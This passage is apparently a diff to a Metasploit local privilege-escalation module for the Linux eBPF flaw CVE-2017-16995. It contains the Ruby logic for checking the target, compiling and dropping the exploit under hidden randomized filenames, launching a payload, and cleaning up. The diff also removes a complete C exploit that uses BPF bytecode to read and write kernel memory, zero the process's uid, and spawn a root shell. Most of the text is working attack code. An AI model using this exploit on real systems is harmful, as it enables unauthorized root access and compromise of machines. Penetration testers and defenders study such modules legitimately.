'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], + [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], + [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], + [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], + [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], + [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], + [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] + ], + 'DefaultTarget' => 0)) register_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir - datastore['WritableDir'] - end - - def command_exists?(cmd) - cmd_exec("command -v #{cmd} && echo true").include? 'true' + datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data - register_file_for_cleanup path end def upload_and_chmodx(path, data) @@ -78,14 +100,46 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec "chmod +x '#{path}'" end - def check - version = kernel_release - unless version.start_with? '4.4.0-116-generic' - vprint_error "Kernel version #{version} is not vulnerable" - return CheckCode::Safe - end - vprint_good "Kernel version #{version} appears to be vulnerable" + def upload_and_compile(path, data) + upload "#{path}.c", data + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + cmd_exec "chmod +x #{path}" + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" @@ -93,18 +147,24 @@ class MetasploitModule < Msf::Exploit::Local end vprint_good "System architecture #{arch} is supported" - if session.type.to_s.eql? 'meterpreter' - vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' + if unprivileged_bpf_disabled? + vprint_error 'Unprivileged BPF loading is not permitted' + return CheckCode::Safe end + vprint_good 'Unprivileged BPF loading is permitted' + + release = kernel_release + if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || + Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit - if session.type.to_s.eql? 'meterpreter' - fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)' - end - unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end @@ -117,295 +177,27 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - compile = false - if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') - if command_exists? 'gcc' - vprint_good 'gcc is installed' - compile = true - else - unless datastore['COMPILE'].eql? 'Auto' - fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' - end - end - end - - c_code = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - #define PHYS_OFFSET 0xffff880000000000 - #define CRED_OFFSET 0x5f8 - #define UID_OFFSET 4 - #define LOG_BUF_SIZE 65536 - #define PROGSIZE 328 - - int sockets[2]; - int mapfd, progfd; - - char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" - "\x55\x09\x02\x00\xff\xff\xff\xff" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x18\x19\x00\x00\x03\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x00\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x06\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x01\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x07\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x02\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x08\x00\x00\x00\x00\x00\x00" - "\xbf\x02\x00\x00\x00\x00\x00\x00" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x03\x00\x00\x00\x00\x00" - "\x79\x73\x00\x00\x00\x00\x00\x00" - "\x7b\x32\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x02\x00\x01\x00\x00\x00" - "\x7b\xa2\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x7b\x87\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00"; - - char bpf_log_buf[LOG_BUF_SIZE]; - - static int bpf_prog_load(enum bpf_prog_type prog_type, - const struct bpf_insn *insns, int prog_len, - const char *license, int kern_version) { - union bpf_attr attr = { - .prog_type = prog_type, - .insns = (__u64)insns, - .insn_cnt = prog_len / sizeof(struct bpf_insn), - .license = (__u64)license, - .log_buf = (__u64)bpf_log_buf, - .log_size = LOG_BUF_SIZE, - .log_level = 1, - }; - - attr.kern_version = kern_version; - - bpf_log_buf[0] = 0; - - return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); - } - - static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, - int max_entries) { - union bpf_attr attr = { - .map_type = map_type, - .key_size = key_size, - .value_size = value_size, - .max_entries = max_entries - }; - - return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); - } - - static int bpf_update_elem(uint64_t key, uint64_t value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)&key, - .value = (__u64)&value, - .flags = 0, - }; - - return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); - } - - static int bpf_lookup_elem(void *key, void *value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)key, - .value = (__u64)value, - }; - - return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); - } - - static void __exit(char *err) { - fprintf(stderr, "error: %s\n", err); - exit(-1); - } - - static void prep(void) { - mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); - - if (mapfd < 0) - __exit(strerror(errno)); - - progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, - (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); - - if (progfd < 0) - __exit(strerror(errno)); - - if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) - __exit(strerror(errno)); - - if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) - __exit(strerror(errno)); - } - - static void writemsg(void) { - char buffer[64]; - - ssize_t n = write(sockets[0], buffer, sizeof(buffer)); - - if (n < 0) { - perror("write"); - return; - } - if (n != sizeof(buffer)) - fprintf(stderr, "short write: %lu\n", n); - } - - #define __update_elem(a, b, c) \ - bpf_update_elem(0, (a)); \ - bpf_update_elem(1, (b)); \ - bpf_update_elem(2, (c)); \ - writemsg(); - - static uint64_t get_value(int key) { - uint64_t value; - - if (bpf_lookup_elem(&key, &value)) - __exit(strerror(errno)); - - return value; - } - - static uint64_t __get_fp(void) { - __update_elem(1, 0, 0); - - return get_value(2); - } - - static uint64_t __read(uint64_t addr) { - __update_elem(0, addr, 0); - - return get_value(2); - } - - static void __write(uint64_t addr, uint64_t val) { - __update_elem(2, addr, val); - } - - static uint64_t get_sp(uint64_t addr) { - return addr & ~(0x4000 - 1); - } - - static void pwn(void) { - uint64_t fp, sp, task_struct, credptr, uidptr; - - fp = __get_fp(); - if (fp < PHYS_OFFSET) - __exit("bogus fp"); - - sp = get_sp(fp); - if (sp < PHYS_OFFSET) - __exit("bogus sp"); - - task_struct = __read(sp); - - if (task_struct < PHYS_OFFSET) - __exit("bogus task ptr"); - - printf("task_struct = %lx\n", task_struct); - - credptr = __read(task_struct + CRED_OFFSET); // cred - - if (credptr < PHYS_OFFSET) - __exit("bogus cred ptr"); - - uidptr = credptr + UID_OFFSET; // uid - if (uidptr < PHYS_OFFSET) - __exit("bogus uid ptr"); - - printf("uidptr = %lx\n", uidptr); - __write(uidptr, 0); // set both uid and gid to 0 - - if (getuid() == 0) { - printf("spawning root shell\n"); - system("/bin/bash"); - exit(0); - } - - __exit("not vulnerable?"); - } - - int main(int argc, char **argv) { - prep(); - pwn(); - - return 0; - } - - } - - exploit_name = ".#{rand_text_alphanumeric 8..12}" - exploit_path = "#{base_dir}/#{exploit_name}" - - # exploit name must be 7 characters to allow string replacement - # in the pre-compiled binary - payload_name = ".#{rand_text_alphanumeric 7}" - payload_path = "#{base_dir}/#{payload_name}" - - if compile + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? vprint_status 'Live compiling exploit on system...' - c_code.gsub!(%r{/bin/bash}, payload_path) - upload "#{exploit_path}.c", c_code - output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c" - - unless output.blank? - print_error output - fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" - end - - cmd_exec "chmod +x #{exploit_path}" + upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' - compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out' - fd = ::File.open compiled_path, 'rb' - exploit_data = fd.read fd.stat.size - fd.close - - exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path) - upload_and_chmodx exploit_path, exploit_data + upload_and_chmodx executable_path, exploit_data('exploit.out') end + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe - print_status 'Launching exploit...' - output = cmd_exec exploit_path + # Launch exploit + print_status 'Launching exploit ...' + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path} ..." + rm_f executable_path + rm_f payload_path end end